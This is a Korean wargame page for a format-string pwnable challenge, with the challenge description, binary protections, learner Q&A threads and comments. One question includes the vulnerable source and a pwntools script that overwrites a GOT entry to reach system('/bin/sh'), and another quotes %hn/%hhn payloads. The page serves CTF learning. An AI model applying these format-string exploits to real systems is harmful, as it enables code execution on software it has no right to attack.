LEVEL 1

basic_exploitation_003

pwnable
  • 문제 정보
  • 풀이 107
  • 난이도 투표 57
  • 질문 12
  • 최근 풀이자 1735
  • 댓글 78

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Address Overwrite

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Racrua
Closed Beta Tester
출제된 지 22시간 만에 풀이 완료!

난이도 투표 57

질문 12

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
[got overwriting, FSB] system("/bin/sh")에서 터집니다
ubuntu 16.04에 파이, 카나리 해제되어있는 문제입니다. #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize(); read(0, heap_buf, 0x80); sprintf(stack_buf, heap_buf); printf("ECHO : %s\n", stack_buf); return 0; } 아래와 같이 익스 코드를 작성했습니다. from pwn import * context.arch = "i386" context.log_level = 'debug' get_shell_addr = 0x0804867b #134514299 printf_plt = 0x8048460 printf_got = 0x804a010 libc_start_main = 0xf7e1b647 p = remote("host3.dreamhack.games", 20584) p = remote("localhost",----) sleep(5) print(proc.pid_by_name("docker_basic_exploitation_003")) pause() fstring = p32(printf_got) fstring += p32(printf_got+1) fstring += p32(printf_got+3) fstring += b'%111x%6$n%1035c%7$n%2946c%8$n' #앞에 4바이트 포함 p.sendline(fstring) pause() p.interactive() 이에 다음과 같이 got overwriting을 성공한 걸 볼 수 있습니다 got overwriting si로 진입하면 get_shell로 흐름이 바뀝니다. image.png 하지만 system("/bin/sh")에서 터집니다. image.png 로컬 디버거뿐만 아니라 원격지에서도 터지는 것을 보니 exploit code에 문제가 있는 것 같은데 이유를 잘 모르겠습니다. 도와주시면 감사하겠습니다..!
avatar cityofwonder
페이로드 구성 질문
제가 지식이 많이 짧아 기초적인 부분에서부터 막혀 풀이에 조금 어려움이 있었습니다. 해당 문제에 페이로드 구성 관련 질문중에 (질문 링크:https://dreamhack.io/forum/qna/2530/) "pay += b'%85c%4$hhn'에 의해 overwrite에 0x69 오버라이트함. 4$이므로 pay의 4 * 4번째에 있는 4바이트(overwrite)에다가 0x69를 오버라이트합니다." 라는 답변이 달려있었는데, 제가 이해하기로는 %85c%4hhn에서 4번째 인자가 있는 자리에 지금까지 출력된 문자열의 길이 만큼을 덮어씌운다고 알고있습니다. 그렇다면 %85c로 인하여 총 85개의 문자열, hex로는 0x55가 덮어씌워져야 될 것 같은데 어째서 0x69가 덮어씌워지는지 모르겠습니다. 또 다른 페이로드 구성 관련 질문 중에서도 (https://dreamhack.io/forum/qna/294/) 첫 번째 %hn 페이로드 : \x12\xa0\x04\x08\x10\xa0\x04\x08%2044c%1$hn%32357c%2$hn 두 번째 %hhn 페이로드 : \x10\xa0\x04\x08\x11\xa0\x04\x08%97c%1$hhn%29c%2$hhn 이렇게 페이로드를 각각 구성하신 분이 있는데 앞에 리틀엔디안으로 적힌 부분이 첫번째와 두번째 페이로드가 다른 것을 확인하였습니다. 저건 overwrite를 해야하는 주소로 알고있는데 해당 질문 작성자 분의 실수인지 아니면 다른 이유가 있는지 궁금하고, 마지막으로 같은 질문에서 두번재 페이로드는 작동한다고 들었는데, hhn은 1바이트로 알고있습니다. hhn으로 두번 덮어씌우기만 하면 총 2바이트만 덮어씌워질텐데 어떻게 작동하는지도 궁금합니다. 이런 부분도 디버거로 제가 직접 궁금증을 해결하고 싶은데 경험이 많이 없다보니 도와주시면 감사하겟습니다 ㅜㅜ
kinn

최근 풀이자 1735

avatar
Fixgram
대표 업적 없음
김마틴
대표 업적 없음
닉네미
대표 업적 없음
푸푸
강의 수강: 1
Turt1e94
대표 업적 없음
k1w1
대표 업적 없음
saintinmay
강의 수강: 10
이지우
대표 업적 없음
어렵다
대표 업적 없음
Vuzxz
대표 업적 없음

댓글 78

김꾀꼴
대표 업적 없음
sprintf()의 형태를 알면 풀만합니다! 전 몰라서 힘들었네요
avatar
nagoX
대표 업적 없음
ez~
avatar
TAFKA
워게임: 50
Segmentation fault
avatar
스카이넷
워게임 고인물
ez
avatar
is07king
워게임: 1
hard
sinse100
대표 업적 없음
nice
avatar
Ox0ne
대표 업적 없음
개념만 이해했으면 쉬움
avatar
LinuxBudu
플래툰
sprintf를 조심해야되는군요. 좋은문제이면서 공부가 되는 문제였습니다!
하헌진
대표 업적 없음
어려워용
anous
대표 업적 없음
와... 어려웠지만 알고나면 단순하네요.